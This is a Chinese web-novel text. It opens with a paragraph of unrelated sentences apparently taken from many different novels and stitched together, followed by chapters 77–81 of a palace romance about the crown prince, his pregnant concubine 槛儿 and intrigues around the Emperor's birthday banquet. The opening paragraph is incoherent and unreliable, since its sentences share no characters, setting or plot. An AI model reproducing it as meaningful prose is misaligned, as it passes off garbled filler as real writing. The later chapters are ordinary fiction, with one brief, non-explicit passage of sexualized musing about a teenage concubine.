韩深看清楚龙斌的为人,这才把这个重大的任务交给了龙斌,可是现在却一点儿消息都没有,他还真是有点儿着急了。 “这是我的选择。”谭清竹在写完分科志愿表之后,将她的分科志愿表放到沈寒凛的手上,平静的说道。 赵俊的内气跟剑仙职业都到了8级,而武技大师还停留在7级,这样说来,他的武道境界拖后腿了,真是如此? 鲁克震惊了,难怪赵俊会时来运转,跟轩辕月与宋佳怡是好朋友,那还不是原地起飞。 许意岚歪着头想了想,心想这样陆放就可以专注于公司的发展策略和产品策略的调整上面,陆氏集团要振作起来,这两项起着很重要的作用。而平定内乱这种事,许意岚在六年前就经历过,经验有的是。 方盒一角,那个黑紫色的天牛虫尸体内部,有个类似于蚕茧一般的东西在慢慢蠕动着。 吃过一千次桃子了?那不是说阴桃子成熟过一千次了?这只雪猫在这里呆了一千年了? 李宵隐看了看一脸懵逼的年轻修士,然后装模作样地咳嗽了一声,转身就要离开。 好在苏晴和宋知觅都是明星,多多少少还是需要管理身材的,她们也没吃几口,就放下了筷子。 眼前情形,果真也是激起了叶曙青的豪性。当年征战岁月,似乎又是重回心头。 随后有福叔就先走了,还有点菜他得拿去卖,瘸老头将我带进了一间办公室里,见了厂子的负责人,韩洋。 因为林宝淑刚才不惜以身去救她,现在她对林宝淑已经完全没有了戒心,是以才在林宝淑面前说这样的话。 “你这是什么意思?”林宝淑顿时提高了警惕,挺直了脊背问她说道。 又在纸上盖了自己的私章,跟乔明瑾按比试之前的说法,下了订单。 在十二看来,忍不住想告诉蓬莱,不要装可怜了,‘露’出这可怜巴巴的表情给谁看?说真的,蓬莱这模样,还真让他差点出声把蓬莱叫回来,这都是什么事儿,他在蓬莱身上留下的天火火种难道还‘弄’不死一个双头魔狼? 这些会长们都很好奇夜藏弓到底将会以一种什么样的姿态出现,不过他们不是神仙,不能插上翅膀飞到云隐城去,只能让在云隐城的自己人一定要摄制好战斗录像,以供他们观摩。 清军入关,对每个明将来说都是一道坎。过的去就很好,平时威福尽享,过不去,那就是时运不好,算自己倒霉。 浮黎关照她!蓬莱才愤愤不平呢,浮黎当时的表情她还一清二楚的记着呢,不求他雪中送炭,但愿别火上浇油就好咧。 凌玄苦笑一声,不答。他望向东山入方向,陷入沉思,神色顿时黯然下来。 莫语和陈念慈在花园里走了很久,最后才找到一处略僻静的湖边。 第77章 太子爷:“油嘴滑舌。” 送走了太子。 冯嬷嬷进屋见主子笑得比花儿还灿烂,不禁调侃:“娘娘这是遇上什么好事儿了?若不奴婢也听听?” 冯嬷嬷是裴皇后的陪嫁丫鬟。 几岁就在裴皇后跟前伺候了,主仆二人四十多年的情分不是旁人能比的。 太子那病目前除了他本人,也只有裴皇后,莫院判以及冯嬷嬷清楚了。 屋里只有她二人,裴皇后也没瞒着,笑眯眯同冯嬷嬷耳语了一阵。 冯嬷嬷听完捂着嘴,比裴皇后还激动。 不过,宋昭训的胎还没坐稳,至少也得等其他太医也能号出脉来,才好往外说。 主仆俩就一起偷乐了会儿。 等心情终于平复下来,裴皇后笑叹道:“到底是年纪到了,知道疼屋里人了。” “娘娘说这话奴婢可得替殿下叫屈。” 冯嬷嬷笑弯了眼。 “旁人不知道,咱们还不清楚吗?咱们殿下啊打小就知道疼人,只是这么多年没遇上他想疼的人罢了。” 裴皇后想了想,觉得也是。 她和元隆帝都挺随性的。 偏生了这么个小酸儒,和她这个当娘的也要动不动讲规矩,行大礼。 但儿子只是话少脸冷,对他们一直都孝顺,待手足亦是兄友弟恭,姊妹和睦。 想当初儿子虽与郑家女没有情分,但到底圣上已经赐了婚,儿子也是真有和郑氏好好过日子的打算。 大婚当日的流程,婚房的布置,嘉荣堂大小事务,儿子都有亲自过问。 甚至新娘子卧房里花瓶之类的小摆件,都是经他亲自过目后定下的。 儿子同她说过。 说他有病在身,今后若形势允许,他便只守着郑氏一人过一辈子。 至于曹良媛几个。 他日后想给她们补偿,放她们归家。 当时裴皇后就觉得儿子终归还是太年轻,把后宅的事想得太过简单。 结果怎么着? 让她给猜中了。 小两口新婚期间就闹了矛盾。 到现在都还没好。 也不知问题究竟出在哪,今儿个又打起架了。 裴皇后摇摇头懒得去想儿子儿媳的糟心事,兀自琢磨起槛儿腹中的孩子来。 “也不知是儿是女,那小昭训样貌出众,就是随便长应该也不会差到哪去。” “哪有您这么当祖母的,孩子能随便长吗?” “哈哈哈哈……” . 槛儿还不知道自己要在万寿节露脸呢。 接连呕了几日,今天她终于不是听人提到“药”和“膳”两个字就想吐了,反倒有了想吃东西的感觉。 早膳照莫院判的单子来的。 主食是御香盐渍梅子醒脾粥,就是拿盐渍过的青梅捣成泥,加上粳米煮粥,再放上少量茯苓粉和陈皮末调味。 摆上膳桌时,粥温凉温凉的。 喝起来刚刚好。 另有一道八珍鸽卵汤,配了白术、黄芩这类健脾安胎、清热解暑的药材。 鸽卵用以补亏损,有固胎元而不助热之效。 见她就着小菜吃了小碗粥,汤也喝得七七八八,瑛姑姑等人都跟着松了口气。 霜云就是这时候过来的。 上来便直言是太子妃的意思,叫宋昭训十日后万寿节随太子妃赴宴。 其间不忘强调这事是太子妃向娘娘提的,重在彰显他们主子的仁厚贤良。 宋昭训但凡有良心。 就该对他们太子妃感恩戴德! 当然,这话自是没有明说。 只是霜云话里话外,无不是这个意思。 说完了事,她也没管槛儿的反应,心不甘情不愿地给见了一礼后走了。 万寿节,那可是国宴诶。 自家主子有机会参加国宴! 喜雨和小福子兴奋地抱作一团。 瑛姑姑、寒酥和跳珠刚开始也是一喜,可很快她们就想到槛儿现在的情况。 顿时又愁起来。 不明白太子是怎么想的,明知他们主子如今不方便,怎么也不拦着太子妃呢? 打发了望晴几个出去。 瑛姑姑把自己的顾虑对槛儿说了。 “离万寿节只有十天了,天儿眼见着越来越热,奴婢担心到时候您吃不消。” 她没敢提太子,但槛儿和她想到了一处,“不着急,回头我问问殿下。” 话音刚落,外面响起小福子他们问安的声音。 是太子回来了。 槛儿惊讶他真又过来了,她还以为先前他说那话,只是为了跟郑氏掐架呢。 “感觉如何?” 把人迎进来,两人隔着炕几坐着,骆峋不动声色地打量了对面人几眼。 槛儿很实诚地连早膳用了什么用了多少,都事无巨细同他说了一遍。 等太子落座,槛儿把霜云来传话的事也说了。 恰当地表露几分对郑明芷的感激,再象征性问一句:“妾身去合适吗?” “嗯。” 骆峋喝了一口凉茶,情绪淡淡。 “届时你跟着娘娘。” “跟着娘娘?” “娘娘已知你有了身孕,是时她会有所安排,不至于叫你劳累。” 瑛姑姑刚刚还觉得太子不知疼人呢,没想到转个身的功夫这位爷就冷着张脸说出这么体贴人的话! 万寿节宴上跟着皇后娘娘。 这得是多大的恩典! 槛儿也高兴。 能在万寿节这等级别的宴上露面,既能稳固她在东宫后院的地位。 又能为今后的晋位铺路。 而裴皇后管着后宫,又要为元隆帝分忧解难,会愿意将一个小昭训带到身边。 只能是太子向娘娘提的,是太子请娘娘在万寿节当天把她带在身边。 想到这,槛儿忽然笑了。 骆峋交代海顺去元淳宫取东西,扭头便看到小昭训眉眼弯弯,神态专注温柔。 “笑什么?”他问。 槛儿起身坐到他身边。 自然地挽住他的胳膊,靠到他肩头。 “殿下这么为妾身着想,妾身受宠若惊,但妾身也真的高兴,谢谢殿下。” 他的改变这么大,出乎槛儿的意料,她也不介意把这些话说出来。 反正只是动动嘴皮子的事。 他不愿意动,她动。 太子爷就又觉得小昭训太不矜持了。 大白天的,还有宫人看着。 她挽什么胳膊。 靠什么肩? 也不怕被下面的人说她行为不端。 骆峋扫视一圈。 见海顺和瑛姑姑等人不知何时低下了头,他这才抬手在槛儿脸上惩治般捏了一下。 “油嘴滑舌。” 第78章 太子:“孤不会让你有事。”偶遇皇长孙 太子今儿一整天都在永煦院,且昨晚宋昭训都病了太子还在永煦院留宿,今儿看这架势怕是又要留宿。 哪怕知道现今这位宋昭训得宠,下面的一众人也还是忍不住暗暗唏嘘。 有些人的关注点就很邪乎。 他们想,男人整天在妾室屋里,总不会是和妾室从诗词歌赋聊到人生哲学吧? 可宋昭训都病了,太子还能叫人侍寝? 这些人就觉得宋昭训其实也挺不容易,病了还要伺候男人,看来后院的主子也不是那么好当的啊。 当然,这些念头都只敢在心里想想。 不过除了这些不着调的想法,东宫后宅里的所有下人都更加确定一件事。 宋昭训是真的一飞冲天了。 香叶轩里,金承徽刚得知槛儿病得严重的消息时,就跟突然打了鸡血似的。 着实过了几天舒坦日子。 谁知昨晚就有人报来消息。 说太子不但去探望宋昭训了,还请了太医院的院判来给宋昭训诊治! 这也就罢。 关键今天太子还待在那边! 金承徽就又气了。 在屋子里摔摔打打的,骂完奴才骂鸟,骂完了鸟骂院里的花花草草,路过的蚂蚁都要被她给骂两句再踩死。 东厢的秦昭训早习惯了金承徽的做派。 任对方在正房那边骂骂咧咧,她这头在屋里淡然地用完了晚膳。 至于曹良媛。 等抚琴和弄墨骂槛儿骂得差不多了,她慢条斯理道:“今儿日子不错,叫个人到香叶轩跑一趟吧。” . 结束短暂的休沐,太子便又恢复了每日到工部衙署点卯上值的日子。 万寿节在即,各地藩王和外邦使团早在半个月前便陆陆续续抵达京城。 礼部忙着筹备典礼的各个流程,审核各地官员和外邦进献的寿礼贺表。 工部忙着四处修整宫殿和宴会当日要用到的各种礼器,还要在京城各个地方装灯饰,张贴红字什么的。 光禄寺要操办宴席,鸿胪寺要接待外宾等等,总之没有哪个官署闲的。 太子看完近两年的工程卷宗和账簿后,便开始和另两名司务一道办差。 起初两名司务和科房里的吏员们还碍于他太子的身份,不敢和他交谈,回个话都磕磕巴巴捋不直舌头。 但没过两天。 众人发现太子似乎只是面冷,并不会自恃身份,不把下面的低阶官吏们放在眼里,或是随意耍性子。 太子也没使唤过他们替他做与公务无关的事,明明冷得跟个冰雕似的,却会在说起公务时不吝言辞。 渐渐的。 众人发现太子的威严比他们想象的还要慑人,没有人能猜透他的心思。 可太子的的确确在干实事。 在誊录文书的过程中被他们忽视的某个微末细节,太子一眼就能看出来。 且能根据这些完全不起眼的细节,解决掉某个工程中可能存在的隐患。 因为太子严谨专注的当差态度,因为差办得好能得到太子的夸赞,司务厅的官吏们为此大受鼓舞。 日日卯足了劲儿做好差事。 就盼着能在太子跟前表现一番。 槛儿不清楚太子在衙署里的情况,经过最初的调养,她的体温恢复正常。 也不再头晕头痛,四肢无力。 主要食欲恢复了。 偶尔还是会犯恶心,但症状很轻。 稍微忍一忍就能压下去。 万寿节前一天晚上,太医院来了另一位陈太医来给槛儿诊了一次脉。 一番望闻问切,陈太医惊喜万分地起身朝太子与槛儿行了一礼。 “贺喜殿下,昭训脉象滑润如珠,虽未至充盈,但胎气已结,确为喜脉!” 当着太医的面,槛儿含羞看眼太子。 脸红红地笑着垂下头。 太子爷一派的沉稳内敛,叫太医暂不要声张此事,只当来替宋昭训复诊。 太医恭敬应下。 夜里。 槛儿背靠着男人的胸膛偎在他怀里,骆峋的大掌轻贴在她尚且平坦的小腹上。 “明日一早,坤和宫会来人单独接你过去,太子妃那边自有人前去报信。” 槛儿点头,“好,妾记住了。” 骆峋默了一瞬。 声音突然微沉:“明晚,不论遇上什么,勿慌。” 槛儿捏他手指的动作一停。 上辈子今年的万寿节没出什么乱子,难道这辈子的明天太子有什么计划? 骆峋只抚着她的腹部,嗓音清冷:“你只需记住,有孤在,孤不会让你有事。” 槛儿翻身抱住他。 翌日,万寿节当天。 太子不到寅时便收拾完去了乾元殿。 今日凡有资格参宴的人都要按品阶着装,槛儿的四季礼服早在她受封昭训后的半个月广储司就送来了。 一切收拾妥当,瑛姑姑叫了银竹进来。 对槛儿道:“早上海总管临走时提了一嘴,叫主子今儿也把银竹带上。” 银竹自打来了永煦院,便一直和望晴、喜雨她们干的差不多的活儿。 她性情内向,办事稳妥。 平日里不显山漏水的。 端午槛儿带了银竹,这回也打算带着她,就是没想到海顺会特意提一嘴。 不过,有昨晚太子提点在前。 槛儿心里约莫有了数。 一刻钟后,槛儿领着跳珠、银竹出门。 刚出西六院。 迎面见早前给她送过药膏的元淳宫的宫女,领着一个面生的二等宫女笑盈盈地走过来,恭敬地行了礼。 “皇后娘娘请宋昭训到坤和宫说话,外面肩舆已备好,请昭训随奴婢前往,太子妃那边已有人前去通禀。” 槛儿笑着点点头。 到了东宫大门。 果然就见已经停着一架肩舆,只这回的肩舆和槛儿上回坐的有区别。 上次坐的抬杠上只一个简单花梨木座椅,这回则是一个油绢顶的小轿。 轿身以细竹篾编制,四周围着薄纱。 确定槛儿坐稳,坤和宫的宫女才叫人抬轿。 郑明芷原本打的就是要让槛儿再做一回奴才的主意,却不料她刚准备使人把槛儿叫来,坤和宫就来了人。 说是裴皇后那边缺人手。 他们先把人接走了。 当着坤和宫宫人的面,郑明芷和和气气地应了,之后扭头砸了手边的胭脂。 缺个狗屁的人手! 老虔婆摆明了就是故意的! 平时装得一副慈善宽厚好婆母的模样,实则背地里不知编排了她多少。 老妖婆! 郑明芷在这边气上了,那厢槛儿一行人经内左门进了前往坤和宫的东庑廊道。 郑明芷和槛儿她们这样的东宫侍妾,平时拜见裴皇后是不走坤和门的,而是走坤和宫东暖殿附近的永祥门。 一刻钟后。 槛儿下了肩舆,刚转身准备进门。 就见一俊若修竹,着青色圆领蟒袍的少年正从永祥门内朝这边走来。 却是皇长孙,即信王世子骆晔。 第79章 太子老牛吃嫩草! 槛儿的步子反射性停下,旋即微微退到一侧,垂首恭敬地行了一记福礼。 所谓尊卑有别。 别看槛儿顶的是太子昭训的头衔,实则出了东宫在这些皇子龙孙面前,她的身份和位份都是不够格的。 也因此,即便是名义上比她小一辈的皇长孙,槛儿见了也得行大礼。 “恭请世子金安。” 骆晔一早进宫来伴驾,两刻钟前奉皇祖父的命来向皇祖母传两句要紧话。 这会儿时辰还早。 但毕竟是后宫,他便想着尽快回乾元殿。 哪知还是碰上了女眷。 骆晔下意识目不斜视,打算不作理会。 然刚从那女眷面前经过。 他突然想起什么,脚下一顿。 余光瞥着那抹缥绿鹊衔花的裙摆,独属于少年人的声音清朗明净。 “哪个宫的?” 槛儿意外他停下来问。 不过,身份差距在前。 槛儿不想徒惹事端,便依规矩报了来路:“回世子,东宫太子昭训宋氏,奉太子之命前来伺候皇后娘娘。” 实情自然不能说,在外人看来她确实是奉太子的命来伺候皇后娘娘的。 骆晔没管槛儿来干什么。 听她道是太子昭训,骆晔便确定此女是他六皇叔两个多月前纳的那位新妾。 又听她声音柔媚灵秀,似幽静山谷中莺啼鸟啭,软玉娇香,勾得他耳根发麻。 骆晔的脑海中,不禁浮现出那一幕原本早被他忘得一干二净的画面。 宫道中被亭灯照亮的转角处,肩舆上的女子杏面桃腮,云髻峨峨…… 骆晔的心跳莫名漏了一拍。 扭头看过去,目光落在眼前人精致的发髻上,威仪却又不失礼数地道:“既是东宫的人,便无需多礼,起吧。” “多谢世子。” 槛儿微垂着眼,中规中矩地谢恩站直身,只等着这位信王世子赶紧走。 这里是后宫,她又是东宫女眷,就算她本身不会跟对方扯上任何关系。 若让人看了去,免不得也会被有心人夸大其词。 且上辈子她虽深居后院,却也大致知道信王没少在前朝给太子使绊子。 后来太子登基。 以结党营私惑乱民心为由褫夺信王封号,贬王为公,全家流放至辽东铁岭卫。 信王世子自然在列。 骆晔的视线不由自主移到眼前人娇艳的小脸上,移到她如画的眉眼上。 只觉得她可真好看。 柳娇花媚间夹杂着几分少女的青涩。 有十六吗? 骆晔不动声色地细细打量,面上煞有其事道:“本世子奉陛下之命来给娘娘传话,无意冒犯,请宋昭训海涵。” 槛儿半垂着眼帘:“世子客气了。” 骆晔颔颔首,有意多说两句。 但从前没主动和哪个闺秀如此说过话的皇长孙,翕了翕唇竟一时不知说什么。 且这里是坤和宫。 他若和她待的时间久了,旁人会如何想。 短短两息,骆晔不再多言。 风轻云淡般“嗯”了一声后径自离去。 槛儿也没往他离开的方向看,转身就进了永祥门,回头的骆晔只来得及看见一片缥绿的裙摆一闪而过。 行了一段路。 骆晔问身旁的小太监:“你觉得二十出头老吗?” 小太监:“……” 二十出头就老了,那七老八十的算啥? “算了,你也是二十的人。” 骆晔瞥眼二十的小太监,摇头叹道。 小太监:“……” 二十咋啦? 二十惹你了?? 说得好像你不会长似的,再过两年多你也二十啦! 骆晔当然知道自己再过两年半就及冠了,但想到刚刚的小昭训应该刚及笄不久。 他六皇叔都及冠一年,二十一啦! 差六岁。 这不是老牛吃嫩草吗? 真亏六皇叔下得去手。 骆晔撇嘴腹诽。 回到乾元殿,太子刚代元隆帝祭祖回来,骆晔暗戳戳瞅了自家六皇叔好几眼。 骆峋:“……” “何事?” 骆峋站着由海顺打理衣冠,问侄儿。 骆晔蹭过来。 发现六皇叔比他高了大半个头,肩也比他的宽。 骆晔:“皇叔您现在多高?” 骆峋不再看他。 “世子爷,咱们殿下八尺有四呢。”海顺笑眯眯答道。 骆晔瞪大眼。 “皇叔您又背着我偷偷长个儿!” 骆峋直接走了。 骆晔羡慕地看着六皇叔高大伟岸的背影,旋即又使劲摇了摇头。 他才十七就有七尺九了呢。 等他及冠,定会比皇叔长得更高,更结实! 而且他才不会老牛吃嫩草! . 裴皇后还在梳妆,引路的宫女直接将槛儿领到了坤和宫的后寝殿。 槛儿进门,碧荧碧烟领着宫人鱼贯而出,屋中只剩了她和裴皇后、冯嬷嬷。 槛儿的身子如今对裴皇后这等高位贵人,已经不像从前那般本能地畏惧了。 她也把神态举止拿捏得恰到好处,上前恭恭敬敬行了礼唤了声“娘娘”。 裴皇后的目光落在她身上。 小姑娘穿了件珊瑚朱绣四季花卉的对襟罗衫,缥绿鹊衔花枝纹马面裙,云环髻上几根金累丝嵌宝钗簪。 人瞧着比一个多月前清减了些,好在精神头不错,一张小脸水灵娇媚。 裴皇后温和地点点头。 “你有身孕的事,太子已同本宫说了,今日人多,少不得会有冲撞,你便跟着本宫,本宫不会叫你累着。” 槛儿福身:“多谢娘娘抬爱。” 裴皇后:“也不必过于拘谨,凡事以身子为重,本宫不是老虎,不会吃人。” 冯嬷嬷就笑了。 “您自然不是老虎,您是天上的凤凰,谁见了您不得为您的气势折服啊!” 槛儿掩嘴跟着笑。 裴皇后假瞋了她们一眼。 随后也没多说别的,更没让槛儿伺候。 只叫她到对面西稍间歇着,又交代冯嬷嬷叫人好生看顾伺候着。 东宫的第一个子嗣。 太子有安排,她们这边自然也不能疏忽。 槛儿便在西稍间铺了象牙簟的炕上坐着,炕几上摆着红枣茶并几样解暑小食。 隔着一道碧纱橱和珠帘。 槛儿能看到对面宫人进进出出,卧房里不时传来裴皇后同人说话的声音,说的大致都是今日宴席相关的事。 单听着就能知道裴皇后今日有多忙,槛儿也就没自作聪明地过去添乱。 吃了几口红枣茶并糕点。 银竹进来说太子妃和曹良媛来了。 槛儿礼节性出去迎了迎。 郑明芷早知坤和宫缺人手是假,裴皇后故意跟她作对是真,此时见槛儿妆容衣衫都井井有条,就更加确定了。 老虔婆! 郑明芷又在心里暗骂了一声,不过表面倒一副什么都没看出来的样子。 当着裴皇后的面也只是象征性叮嘱了槛儿几句,叫她好生伺候什么的。 裴皇后权当不知道太子妃在心里骂她。 反正自己就算什么都不做,她的这个儿媳也是把她当恶婆婆想的。 既如此,裴皇后都懒得做样子叫槛儿伺候一二,只说宫人不小心把她今儿要赏人的金银锞子给洒了弄混了。 让槛儿去把这些锞子给分拣出来。 于是槛儿就又回了西稍间待着,自有宫人端来一盆刚弄混的金银锞子。 今日女眷这边的朝拜流程比端午节隆重繁杂多了,因为宗亲妇和外命妇不能直接向元隆帝朝贺献礼。 裴皇后要代元隆帝受礼。 在此之前,她还要单独受一番众人的礼。 不过这些流程都跟槛儿没关系,毕竟她现在不能像端午那回一样久站。 裴皇后去正殿受众女眷的朝拜时,槛儿就留在后寝殿这边继续拣锞子。 等裴皇后代元隆帝接受朝贺时,槛儿才出来跟在郑明芷和曹良媛身后,作为东宫女眷代表恭祝圣寿。 寿礼什么的。 槛儿没资格献,这一环节跟她也没关系。 元隆帝在前朝接受完文武百官、藩王、以及番邦使臣的朝贺献礼,又移步到乾元殿接受妃嫔,儿子儿媳,女儿女婿以及孙辈们的家礼。 槛儿和曹良媛只是侍妾,这一环节跟她俩都没关系,两人便一道留在坤和宫。 曹良媛站了两个时辰,腿都僵了。 见槛儿一上午都坐在铺着象牙簟的炕上拣锞子,旁边小几上还摆着零嘴儿茶水。 她忍了又忍,终究还是没憋住,笑着刺道:“妹妹真是好福气,旁人忙得不可开交,你在这儿倒是清闲。” 第80章 账要算到宋槛儿头上! 裴皇后这边的金银锞子都是半两的大小,有元宝、梅花、海棠等多种形状,雕着龙凤纹并宫廷造的字样。 挑拣起来不费眼,还格外喜人。 可不就清闲吗? 但槛儿哪能认呢。 “姐姐慎言。” 她停下手里的动作,严肃地朝窗外看了一眼,把声音压得很低很低。 “今日四海宾服,万邦来朝,能随娘娘左右是天大的恩典体面,姐姐这话若是叫旁人听了去再传出去。 是时恐惹娘娘不悦也就罢,还极有可能叫番邦女眷以为咱们不待见她们。 事关外交,若被有心人利用,一个破坏国是扰乱朝纲的罪名扣下来,东宫会被置于何地姐姐可有想过!” 槛儿有心吓曹良媛,但说的也是事实。 上辈子她随庆昭帝过了几十个万寿节,深知这种场合该注意些什么。 单是个人也就罢,关键会牵连全族。 她们是东宫女眷。 一个不慎,整个东宫都要遭殃。 曹良媛平时在东宫后院怎么阴阳怪气都行,但今天槛儿绝不能让她因为后宅的那点儿小心思坏了大事。 曹良媛当然知道今天要谨言慎行,她打小参加宫宴还能不清楚规矩吗? 她就是不满自己在外面站了整整一上午,姓宋的却在这儿过得这么舒坦。 一时想刺两句罢了。 反正她们在坤和宫。 曹良媛没觉得有什么。 可看着对面人严肃中透着害怕的表情,听着她那句“破坏国是,扰乱朝纲”。 曹良媛心头一紧,后背一阵发寒。 可她堂堂三品大员之女,又是良媛的位份,怎能表现出被一个方方面面都不如自己的人说教了呢? 于是,曹良媛状若无事地摇着团扇,笑道:“看不出来,妹妹懂的倒是挺多。” 槛儿翕了翕唇。 曹良媛:“怎么?妹妹想说什么?” 槛儿发誓。 她真没有要炫耀自己得宠的意思。 但她刚刚的那番话确实不太符合她现今的身份,且往后她也不会一直装孤陋寡闻。 所以想了想,槛儿状似不自在地低了低头,:“也没有很懂,是殿下不想我今日闹出笑话,夜里提点了几句。” 曹良媛被气走了! 槛儿咳了咳。 之后银竹出去了一趟。 也不知她用了什么手段打探来的消息。 不仅知道王妃,公主们的寿礼有哪些,连以太子为首的几个皇子们在前朝献了什么礼都打探得一清二楚。 譬如太子的寿礼是一副他历时三月,亲手画的元隆帝带他们几位成年皇子到北苑指挥万人大演武的图。 此画一丈见长,四尺见宽。 画中将士含步兵、骑兵、火铳兵与炮兵,众人皆身穿甲胄各自为阵,动作整齐划一,有山呼海啸之势。 高台上的元隆帝神采飞扬,站在他身后的几个皇子亦各个龙章凤姿。 连简王的那身肥肉,看上去都颇具风采。 据说当时画一展开,在场的番邦使臣无一不震撼叫绝,齐齐跪下向大靖朝的威武帝君元隆帝高呼万岁。 元隆帝大喜。 赞太子大才,赐外邦新贡良驹十匹。 其他几位皇子皇孙当数睿王和皇长孙进献的寿礼最为瞩目,通过献礼这一环节也能看出几个皇子之间的局势。 上午就在朝拜和献礼中过去了。 临到午宴。 女眷们暂被安排到别处休整,郑明芷为首的众皇子妃侧妃们终于得以喘口气,聚在坤和宫的偏殿歇脚。 睿王妃拿了一片蜜渍人参含在口中。 潋滟的眸光不经意般在郑明芷和曹良媛身上打了个转,状似随口笑着道: “每年这个时节我都恨不得生出三头六臂来,就怕这儿看顾不好那儿招待不周。 也难为太子妃和曹良媛了,东宫女眷不多,逢年节只你们人前人后地张罗。 说起来,端午宴东宫不是还来了位昭训吗?太子妃怎生不叫她充作奴婢跟出来,好歹也能多个人跑腿。” 此言一出,众人的视线朝郑明芷投来。 今儿六月三十,离端午过去已经快两个月,在座的其实不少人已经记不太清东宫的那位新昭训长什么模样了。 但她们逢初一十五来向裴皇后请安,或多或少听了些关于东宫的传言。 知道现今那位宋昭训似乎已经成了太子的宠妾,心中自是各有心思不提。 这会儿听睿王妃提起那位昭训,有的人面上不显,实则心里都在等着看笑话。 郑明芷倒是神态自然。 “睿王妃有所不知,宋昭训今儿来了,只是母后那边缺人手,便把人叫了去,这会儿还在寝殿那边做活儿呢。” 睿王妃眉头微不可察地一挑,“原来如此,能伺候母后是她的造化。” 侧妃这边慎王府的林侧妃哪壶不开提哪壶。 “我都记不太清宋昭训的模样了,姜侧妃转过来让我瞧瞧,瞧着你我就想起来了。” 宣王妃皱眉。 姜侧妃以手滑做借口拍开林侧妃的手,两人你来我往地阴阳怪气了一番。 等把这茬揭过,姜侧妃心里火冒三丈。 慎王那个死男人。 这都过去快两个月了,宋槛儿没被废就算了,她写的话本子反倒被禁了! 当初她能起那样的书名发行话本子,还是慎王帮她打通的关系。 现在被禁了。 用脚趾头想也知道是太子搞的鬼,也只有太子,慎王不会算计回来! 没出息的男人。 其他几个王爷都在争那个位置。 他倒好。 自己的女人被当众羞辱,他不帮着出气就算了,还心甘情愿给人做牛马! 姜侧妃真是越想越怄。 宋槛儿现在还不是皇后呢,就敢不把她放在眼里,以后成了皇后还了得? 不行! 她一定要把丢了的面子找回来,财路被断,这账也要算到宋槛儿头上! 午宴摆在仁寿宫与坤和宫。 槛儿只象征性在裴皇后身边服侍了两刻多钟,就到东宫女眷席上用膳了。 当然,她的膳食是试过毒的。 膳罢,女眷们按品阶高低分区观赏不同的余兴节目,裴皇后全程与众人同乐。 郑明芷和曹良媛作陪。 槛儿时不时被“使唤”下去做事,实则是裴皇后变着法儿让她歇息。 晚宴设在御花园的几处亭台水榭,方便众人品宴赏景,膳后一起谈笑。 今夜无月,墨色的空中繁星成河,似是有人将银子碾碎撒在了上面。 御花园中花木繁茂,奇峰秀石,翠岸环湖,盏盏花灯顺着碧波蜿蜒而下,四周琉璃彩灯照得园中亮如白昼。 水榭中钗光鬓影,时而传来女子簪花斗草的浅笑,琼筵坐花恍若天外来客。 晚膳后,槛儿便没再像下午那般离席。 而是同曹良媛一道坐在东宫的女眷席上,时而静听裴皇后与场下女眷谈笑,时而看就近女眷们逗趣,或是一个人默默欣赏场中伶人们吹笙抚琴。 总归累不着她。 宴过一半,身后传来一道女声叫她。 槛儿回头一看。 第81章 太子长子,溺亡。 却是坐在几个王妃之间最末位的宣王妃,瑜姐儿正坐在她怀里朝这边挥着手。 宣王妃她们这些王妃之间的往来,奉行的自然也是长幼尊卑,就譬如现在。 王妃们以郑明芷和信王妃为中心在一块儿说笑,简王还没有成婚,宣王妃就是几个王妃里年纪最小的。 她和瑜姐儿便坐在后面。 槛儿在曹良媛后面,和宣王妃刚好呈斜对面的方位隔着半个案几的距离。 槛儿笑着同母女俩点点头表示见礼。 瑜姐儿不知在宣王妃耳边说了什么,槛儿见宣王妃点了点头,然后母女二人便往她这边挪了一小段距离。 “六小婶婶!” 瑜姐儿从她娘怀里滑下来,脆脆道。 因着槛儿送的那两方手帕,瑜姐儿一直记得六皇叔家的小婶婶呢。 小家伙原本今儿上午看到槛儿时就想过来找她说话,但被宣王妃拘着了。 这会儿说上话的第一件事就是从荷包里掏出被她叠成小块的手帕要给槛儿看。 可惜小丫头的手刚摸到荷包,就被宣王妃给按住了,瑜姐儿不解地抬头看娘。 当着这么多人的面,宣王妃不好跟女儿解释,只兀自同槛儿说起话来。 “我见你比上回清减了,可是身子不爽利?” 宣王妃只比宣王小一岁,现年十九,生得高挑纤瘦,瓜子脸,柳叶眼,模样俏丽,说起话来声音清柔伶俐。 是个心思细腻的爽快人。 槛儿道:“有劳王妃关心,前些日子伤了暑,才养好没几天,太医说没什么大碍。” 宣王妃笑了一下:“没有大碍便好,伤暑之症不可忽视,是该注意些,这两日天气凉爽不少,倒是刚好利于你恢复。” “是,都是托陛下,娘娘的福。” 她二人在这儿聊上了。 旁边信王妃几人瞥了几眼,看郑明芷和曹良媛的眼神便有几分意味不明。 睿王妃端起茶盏品了一口,妖娆的狐狸眼不动声色地将槛儿打量了一遍。 越看越满意。 昱哥儿的奶娘到底年纪有些大了,又是做奶娘的,胸前的物什都垂了。 少了几分美感,难免败兴。 这位宋昭训显然不一样。 十五六岁,正是花儿一样的年纪。 端午节见的时候还稍显青涩,如今眉眼间的那股子风流藏都藏不住。 想来素日在榻上该是浪翻了,若不然如何能勾得太子那等人物不吝雨露。 承的多了,媚劲儿自然就大了。 睿王妃舔舔唇。 槛儿若有所觉,眉头不显地拢了拢。 这时。 两个时辰没去恭房的她忽觉下腹不适,槛儿忍了忍,最终还是同郑明芷请示了一番,又叫跳珠去向裴皇后请示。 裴皇后在上首处颔了颔首,槛儿方才离席,领着跳珠和银竹悄声走出水榭。 不远处席位上,姜侧妃眸光一转。 半刻钟后,那处席位没了她的踪迹。 睿王妃撩眼槛儿所在的位置,指尖摩挲着茶盏边沿,旋即目光落在捧着小杯子一口一口抿果汁的瑜姐儿身上。 御花园没有特定的恭房,此乃风水禁忌。 在御花园当值的宫女太监若有需求,通常都是到距离远,最偏僻的专为宫女太监设置的简陋恭房解决。 来参加宫宴的王妃、公主以及命妇们,自然不可能用宫人出恭的地方。 可后宫女眷这么多,就算什么也不吃,一整天下来也不可能一次都不解决。 所以每逢这时候,内务府都会在宴会的前一天晚上,在御花园的西北角小院临时搭建几处净房以供使用。 净房拿屏风隔成了两间,里间出恭,外间打理妆面的物什一应俱全。 槛儿净了手从净房出来。 就见姜侧妃径直朝她走来,嘴上很是不客气:“叫你的人离远点,我有事跟你说。” 槛儿几乎一看到她,就猜到对方是出于什么原因冲她摆这架势了。 她和银竹对个眼神。 银竹微不可察地点了点头。 槛儿懂了,叫她和跳珠退到几丈之外。 姜侧妃也屏退了随行的宫女。 等院子中间只剩了她二人,姜侧妃微微走近,目不转睛地盯着槛儿。 声音很轻。 